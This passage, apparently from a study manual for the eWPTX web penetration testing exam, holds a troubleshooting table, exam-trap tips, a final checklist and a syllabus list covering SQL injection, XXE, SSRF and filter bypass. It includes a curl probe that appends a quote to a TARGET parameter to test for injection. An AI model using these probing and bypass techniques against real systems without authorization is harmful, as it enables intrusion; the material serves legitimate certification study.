4Wrong context?Re-read the reflection context (HTML attr vs JS vs URL) → §8.1 table
5Wrong DBMS/engine assumption?Re-fingerprint → §3.2 / §8.6 identification tree
6Blind, not broken?Switch to time-based or OOB (Collaborator/interactsh) → §3.7, §4.2, §7.2
7Encoding layer?Try double URL encoding, then the target's own decoder (base64, hex) → §6.3
8Auth/session expired?Re-login, refresh the cookie/JWT, re-send
9Wrong Host header / vhost?Add the hostname to /etc/hosts, resend with the right Host:
10Lab state corrupted?Reset the lab. This is legitimate and fast.
# Confirm whether YOU are broken or the TARGET is filtering: send a known-benign baseline first
curl -s -o /dev/null -w '%{http_code} %{size_download}\n' 'http://TARGET/page?id=1'
curl -s -o /dev/null -w '%{http_code} %{size_download}\n' "http://TARGET/page?id=1'"
# Different status OR size = the app noticed. Same = your payload never reached the sink.

9.7 Things that most commonly cost people the eWPTX

TrapAvoidance
Skipping the API surfaceCheck /swagger.json, ?wsdl, /graphql, /api/v1 on every target. 25% of marks.
Trusting an automated scannerZAP/Burp scanner finds the easy half. The graded findings are usually manual.
Running sqlmap before manual confirmationConfirm the injection by hand first, then hand sqlmap a -r request file with * on the exact parameter.
Ignoring headers as injection pointsUser-Agent, Referer, X-Forwarded-For, Cookie are explicitly taught in this path — they are on the exam.
Only testing the happy pathSecond-order and stored payloads fire somewhere else. Check admin panels, logs, profile pages after injecting.
Not enumerating as a second userIDOR/BOLA is invisible with one account. Register two.
Giving up when a filter blocks youThe path has a whole 10% domain on bypasses — assume the block is intentional and beatable.
Losing the working payloadWrite it down at the moment it works.
Burning hours on one question20-minute rule. 70% pass mark.

9.8 Final sweep checklist (last 2 hours)

  • Every question either answered or explicitly marked as abandoned
  • Every answer copy-pasted, not retyped; no trailing whitespace
  • Every "I'll come back to it" question revisited at least once
  • All findings re-verified against a live response, not memory
  • Any question where you guessed a format re-checked against the wording
  • Screenshots/evidence saved for anything you might need to dispute
  • Submitted — do not let the clock expire with answers sitting in your notes file

Appendix A — Syllabus Progress Checklist

Every lesson in the Advanced Web Application Penetration Testing path, with the section of this manual that covers it. Tick them off as you work through the course.

Course 1 — Intro to Advanced Web Application Penetration Testing (9h 19m)

Covered in §1 of this manual.

  • Intro to Advanced Web Application Penetration Testing Overview
  • Web Application Pentesting Methodology
  • OWASP Top 10
  • Web Application Security Testing
  • OWASP Web Security Testing Guide (WSTG)
  • Pre-Engagement Phase
  • OWASP ZAP Context & Scope
  • Website Screenshots with EyeWitness
  • Website Recon & Footprinting
  • Email Harvesting with theHarvester
  • Leaked Password Databases
  • Web App Technology Fingerprinting
  • Google Dorks
  • Copying a Website with HTTRack
  • Passive Crawling with Burp Suite
  • Web App Scanning with OWASP ZAP
  • Session IDs & Cookies
  • Session Hijacking & Session Fixation
  • Intro Summary

Course 2 — Authentication & Session Management Testing (17h 37m)

Covered in §2 of this manual.

  • Authentication & SSO Attacks Overview
  • Authentication in Web Applications
  • Types of Authentication Mechanisms
  • Session Management
  • Authentication Testing Methodology
  • Username Enumeration
  • Testing for Weak Password Policy
  • Testing for Weak Lockout Mechanism - Bypassing CAPTCHA
  • Testing for Weak Lockout Mechanism - Account Lockout Bypass
  • Bypassing Authentication Schema - Parameter Manipulation
  • Session Management & Session IDs
  • Cookies & Cookie Attributes
  • Testing Session Management Schema - Cookie Tampering
  • Session Hijacking & Session Fixation
  • Cross-Site Request Forgery CSRF
  • Introduction to Token-Based Authentication
  • JSON Web Tokens JWT
  • The None Algorithm Vulnerability
  • Exposed Claims
  • Introduction to OAuth
  • Two-Factor Authentication 2FA
  • Attacking Login Forms with OTP Security
  • Authentication & SSO Attacks Summary

Course 3 — Advanced Injection Attacks (24h 18m)

Covered in §3 / §4 of this manual.

  • Advanced Injection Attacks Overview
  • Introduction to Advanced Injection Attacks
  • Introduction to SQL Injection
  • Types of SQL Injection Vulnerabilities
  • Hunting for SQL Injection Vulnerabilities - Part 1
  • Hunting for SQL Injection Vulnerabilities - Part 2
  • Finding SQL Injection Vulnerabilities Manually - Part 1
  • Finding SQL Injection Vulnerabilities Manually - Part 2
  • Exploiting Error-Based SQL Injection - Part 1
  • Exploiting Error-Based SQL Injection - Part 2
  • Exploiting Union-Based SQL Injection - Part 1
  • Exploiting Union-Based SQL Injection - Part 2
  • Exploiting Boolean-Based SQL Injection - Part 1
  • Exploiting Boolean-Based SQL Injection - Part 2
  • Exploiting Time-Based SQL Injection - Part 1
  • Exploiting Time-Based SQL Injection - Part 2
  • SQL Injection Testing Methodology
  • SQLMap Essentials
  • SQLMap Advanced Usage - Part 1
  • SQLMap Advanced Usage - Part 2
  • GeniX CMS SQLi CVE-2015-3933
  • SQLi Via User-Agent Header
  • Out-of-Band OOB SQL injection
  • Second-Order SQL Injection
  • NoSQL Fundamentals - Part 1
  • NoSQL Fundamentals - Part 2
  • MongoDB NoSQL Injection
  • NoSQL Injection - Authentication Bypass
  • Introduction to LDAP
  • LDAP Injection
  • Introduction to Object-Relational Mapping ORM
  • Introduction to XML
  • XML Injection
  • XML External Entity XXE
  • Advanced Injection Attacks Summary

Course 4 — API Penetration Testing (8h 41m)

Covered in §5 of this manual.

  • API Penetration Testing Overview
  • Introduction to Web Services
  • Web Services vs APIs
  • Web Service Implementations
  • WSDL Language Fundamentals
  • WSDL Disclosure & Method Enumeration
  • Invoking Hidden Methods
  • Testing for SQL Injection
  • Testing for Command Injection
  • Misconfigured Permissions
  • Improper Input Validation
  • Parameter Tampering
  • Security Misconfiguration
  • API Penetration Testing Summary

Course 5 — Filter Evasion & WAF Bypass Techniques (8h 22m)

Covered in §6 of this manual.

  • Filter Evasion & WAF Bypass Overview
  • Introduction to Encoding - Part 1
  • Introduction to Encoding - Part 2
  • HTML Encoding
  • URL Encoding - Part 1
  • URL Encoding - Part 2
  • Base64 Encoding
  • Introduction to Input Filtering
  • Bypassing Client-Side Filters
  • Bypassing Server-Side Filters - Part 1
  • Bypassing Server-Side Filters - Part 2
  • Bypassing XSS Filters in Chamilo LMS
  • Introduction to Evasion
  • Bypassing Squid Proxy - Browser Based Restrictions
  • Filter Evasion & WAF Bypass Summary

Course 6 — Server-Side Attacks (8h 10m)

Covered in §7 of this manual.

  • Server-Side Attacks Overview
  • Modern Web Application Architecture - Part 1
  • Modern Web Application Architecture - Part 2
  • Server-Side Attacks
  • Server-Side Request Forgery SSRF
  • Basic SSRF Exploitation
  • SSRF to RCE
  • Introduction to Insecure Deserialization - Part 1
  • Introduction to Insecure Deserialization - Part 2
  • Java Insecure Deserialization - Part 1
  • Java Insecure Deserialization - Part 2
  • PHP Insecure Deserialization - Part 1
  • PHP Insecure Deserialization - Part 2
  • Server-Side Attacks Summary

Labs

The path contains 46 labs plus a Challenge Lab and the ReconNexus CTF. Do all of them — INE's own exam guidance says lab completion is the main preparation step, and the exam questions are structured the same way as the lab tasks.